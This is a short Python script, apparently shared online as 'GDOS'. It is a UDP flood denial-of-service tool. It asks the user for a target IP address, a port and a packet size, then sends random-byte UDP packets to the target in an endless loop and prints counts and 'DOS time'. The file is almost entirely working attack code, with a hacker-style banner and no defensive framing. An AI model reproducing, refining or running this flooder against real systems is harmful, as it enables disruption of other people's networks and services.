GDOS.py 4.0 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
  1. import time
  2. import socket
  3. import random
  4. from os import system, name
  5. def ddos(dest, port, hmanybytes):
  6. print("─────────────────────────────────────────────────────────────")
  7. print("Starting...")
  8. client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  9. print("Client : activated")
  10. bytes = random._urandom(hmanybytes)
  11. print(f"Bytes : {hmanybytes} bytes generated")
  12. print(f"IP : {dest}")
  13. print(f"Port : {port}")
  14. count = 5
  15. while count > 0:
  16. print(f"Starting in {count}")
  17. time.sleep(1)
  18. count -=1
  19. startTime = time.time()
  20. sent = 0
  21. try:
  22. while True:
  23. client.sendto(bytes, (dest, port))
  24. sent += 1
  25. print(f"Sent {sent} packets to {dest} at the port {port}")
  26. except KeyboardInterrupt:
  27. stopTime = time.time()
  28. totalTime = stopTime - startTime
  29. print("KeyboardInterrupt detected, stopping")
  30. print(f"Total packets sent {sent}")
  31. print(f"Total DOS time : {totalTime}")
  32. exit(0)
  33. def banner():
  34. system('cls') if name == 'nt' else system('clear')
  35. print("─────────────────────────────────────────────────────────────")
  36. print("─██████████████─████████████───██████████████─██████████████─")
  37. print("─██░░░░░░░░░░██─██░░░░░░░░████─██░░░░░░░░░░██─██░░░░░░░░░░██─")
  38. print("─██░░██████████─██░░████░░░░██─██░░██████░░██─██░░██████████─")
  39. print("─██░░██─────────██░░██──██░░██─██░░██──██░░██─██░░██─────────")
  40. print("─██░░██─────────██░░██──██░░██─██░░██──██░░██─██░░██████████─")
  41. print("─██░░██──██████─██░░██──██░░██─██░░██──██░░██─██░░░░░░░░░░██─")
  42. print("─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─██████████░░██─")
  43. print("─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─────────██░░██─")
  44. print("─██░░██████░░██─██░░████░░░░██─██░░██████░░██─██████████░░██─")
  45. print("─██░░░░░░░░░░██─██░░░░░░░░████─██░░░░░░░░░░██─██░░░░░░░░░░██─")
  46. print("─██████████████─████████████───██████████████─██████████████─")
  47. print("─────────────────────────────────────────────────────────────")
  48. print("─────────────────────c0d3d_by_Gr3yH47_v1─────────────────────")
  49. def main():
  50. banner()
  51. print("Enter IP address: ")
  52. dest = input(">>> ")
  53. print("Enter port to test: ")
  54. port = int(input(">>> "))
  55. print("How many bytes will we send?: ")
  56. print("1024-4096 is good")
  57. hmanybytes = int(input(">>>"))
  58. ddos(dest, port, hmanybytes)
  59. if __name__ == '__main__':
  60. main()